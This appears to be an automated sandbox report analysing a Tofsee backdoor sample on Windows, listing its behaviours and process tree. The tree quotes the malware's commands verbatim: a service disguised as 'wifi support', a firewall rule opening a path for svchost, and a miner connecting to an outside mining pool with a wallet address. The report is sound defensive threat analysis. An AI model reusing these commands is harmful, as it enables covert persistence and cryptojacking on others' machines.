Overview

overview

10

Static

static

681ace9103...fd.exe

windows7_x64

10

681ace9103...fd.exe

windows10_x64

10

Analysis

  • max time kernel
    150s
  • max time network
    153s
  • platform
    windows10_x64
  • resource
    win10v20201028
  • submitted
    10/11/2020, 11:29

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General

  • Target
    681ace91036e5c283011d1fc2fac228a266adcb1470262ceb72fda78cf6f95fd.exe
  • Size 14.1MB
  • Sample201110-qtsqeb4pnn
  • SHA256 681ace91036e5c283011d1fc2fac228a266adcb1470262ceb72fda78cf6f95fd
  • MD5 SHA1 SHA512
Score
10/10
tofseeevasionpersistencetrojan

Malware Config

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

    trojantofsee
  • Windows security bypass 2 TTPs
    evasiontrojan
  • Creates new service(s) 1 TTPs
    persistence
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs
    evasion
  • Sets service image path in registry 2 TTPs
    persistence
  • Deletes itself 1 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 2 IoCs
  • Modifies service 2 TTPs 1 IoCs
    persistence
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Modifies data under HKEY_USERS 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\681ace91036e5c283011d1fc2fac228a266adcb1470262ceb72fda78cf6f95fd.exe
    "C:\Users\Admin\AppData\Local\Temp\681ace91036e5c283011d1fc2fac228a266adcb1470262ceb72fda78cf6f95fd.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:644
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\hpaekkhf\
      2⤵
        PID:2956
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\arzxhcjx.exe" C:\Windows\SysWOW64\hpaekkhf\
        2⤵
          PID:748
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create hpaekkhf binPath= "C:\Windows\SysWOW64\hpaekkhf\arzxhcjx.exe /d\"C:\Users\Admin\AppData\Local\Temp\681ace91036e5c283011d1fc2fac228a266adcb1470262ceb72fda78cf6f95fd.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
            PID:1388
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" description hpaekkhf "wifi internet conection"
            2⤵
              PID:2240
            • C:\Windows\SysWOW64\sc.exe
              "C:\Windows\System32\sc.exe" start hpaekkhf
              2⤵
                PID:2132
              • C:\Windows\SysWOW64\netsh.exe
                "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                2⤵
                  PID:3856
              • C:\Windows\SysWOW64\hpaekkhf\arzxhcjx.exe
                C:\Windows\SysWOW64\hpaekkhf\arzxhcjx.exe /d"C:\Users\Admin\AppData\Local\Temp\681ace91036e5c283011d1fc2fac228a266adcb1470262ceb72fda78cf6f95fd.exe"
                1⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • Suspicious use of WriteProcessMemory
                PID:3844
                • C:\Windows\SysWOW64\svchost.exe
                  svchost.exe
                  2⤵
                  • Deletes itself
                  • Drops file in System32 directory
                  • Modifies service
                  • Suspicious use of SetThreadContext
                  • Modifies data under HKEY_USERS
                  • Suspicious use of WriteProcessMemory
                  PID:1624
                  • C:\Windows\SysWOW64\svchost.exe
                    svchost.exe -o msr.pool.gntl.co.uk:40005 -u 5nFN8BzQ1qP3PkbVHj5ooXSENsHFHMAj51jbA7YySkuEH8nBDYWHhhFQjiwcVqb9H8Soz3YTG6SijYVz1ntV1TAa5qAMCwu+60000 -p x -k
                    3⤵
                    • Suspicious use of AdjustPrivilegeToken
                    PID:1376

              Network

                    MITRE ATT&CK Enterprise v6

                    Replay Monitor

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                    Downloads

                    memory/644-1-0x00000000022C0000-0x00000000022C1000-memory.dmp
                    Download

                    memory/644-0-0x00000000005F9000-0x00000000005FA000-memory.dmp
                    Download

                    memory/1376-21-0x0000000000600000-0x00000000006F1000-memory.dmp
                    Download

                    memory/1624-15-0x0000000004340000-0x000000000454F000-memory.dmp
                    Download

                    memory/1624-18-0x0000000000640000-0x0000000000645000-memory.dmp
                    Download

                    memory/1624-20-0x00000000006E0000-0x00000000006E7000-memory.dmp
                    Download

                    memory/1624-19-0x00000000089D0000-0x0000000008DDB000-memory.dmp
                    Download

                    memory/1624-12-0x0000000000450000-0x0000000000465000-memory.dmp
                    Download

                    memory/1624-14-0x0000000000450000-0x0000000000465000-memory.dmp
                    Download

                    memory/1624-17-0x0000000000630000-0x0000000000640000-memory.dmp
                    Download

                    memory/1624-16-0x0000000000620000-0x0000000000626000-memory.dmp
                    Download

                    memory/3844-11-0x0000000000F60000-0x0000000000F61000-memory.dmp
                    Download

                    memory/3844-10-0x0000000000594000-0x0000000000595000-memory.dmp
                    Download